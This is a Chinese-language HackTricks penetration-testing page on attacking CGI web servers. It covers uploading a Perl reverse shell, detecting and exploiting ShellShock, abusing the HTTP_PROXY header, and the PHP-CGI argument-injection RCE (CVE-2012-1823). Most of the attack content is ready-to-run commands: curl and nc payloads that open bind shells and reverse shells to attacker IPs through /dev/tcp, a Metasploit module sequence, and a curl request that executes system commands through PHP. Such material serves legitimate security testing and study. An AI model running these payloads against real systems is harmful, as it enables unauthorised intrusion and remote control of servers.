# CGI

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 信息

**CGI脚本是perl脚本**，因此，如果您已经入侵了一个可以执行\_**.cgi**\_脚本的服务器，您可以**上传一个perl反向shell**（`/usr/share/webshells/perl/perl-reverse-shell.pl`），将扩展名从\*\*.pl**更改为**.cgi\*\*，给予**执行权限**（`chmod +x`），然后从Web浏览器**访问**反向shell以执行它。 为了测试**CGI漏洞**，建议使用`nikto -C all`（以及所有插件）

## **ShellShock**

**ShellShock**是一种影响广泛使用的Unix操作系统中的**Bash**命令行shell的**漏洞**。它针对Bash运行应用程序传递的命令的能力。漏洞在于**环境变量**的操纵，环境变量是动态命名值，影响计算机上进程运行的方式。攻击者可以通过将**恶意代码**附加到环境变量中来利用这一点，该代码在接收到变量时执行。这使攻击者有可能 compromise 系统。

利用此漏洞，**页面可能会抛出错误**。

您可以通过注意到它使用**旧的Apache版本**和**cgi\_mod**（带有cgi文件夹）或使用**nikto**来**发现**此漏洞。

### **测试**

大多数测试都是基于回显某些内容并期望该字符串在Web响应中返回。如果您认为某个页面可能存在漏洞，请搜索所有cgi页面并对其进行测试。

**Nmap**

```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```

### **Curl（反射，盲目和带外）**

```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```

[**Shellsocker**](https://github.com/liamim/shellshocker)

```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```

### 利用

```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```

## **代理 (中间人攻击到 Web 服务器请求)**

CGI 为 http 请求中的每个标头创建一个环境变量。例如："host:web.com" 被创建为 "HTTP\_HOST"="web.com"

由于 web 服务器可能使用 HTTP\_PROXY 变量。尝试发送一个包含： "**Proxy: \<IP\_attacker>:\<PORT>**" 的 **标头**，如果服务器在会话期间执行任何请求。您将能够捕获服务器发出的每个请求。

## 旧 PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

基本上，如果 cgi 处于活动状态且 php 是 "旧的" (<5.3.12 / < 5.4.2)，则可以执行代码。 为了利用此漏洞，您需要访问 Web 服务器的某些 PHP 文件，而无需发送参数（特别是不发送字符 "="）。 然后，为了测试此漏洞，您可以访问例如 `/index.php?-s`（注意 `-s`）和 **应用程序源代码将出现在响应中**。

然后，为了获得 **RCE**，您可以发送此特殊查询： `/?-d allow_url_include=1 -d auto_prepend_file=php://input` 和要在 \*\*请求正文中执行的 PHP 代码。 示例:

```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```

**有关漏洞和可能的利用的更多信息：** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
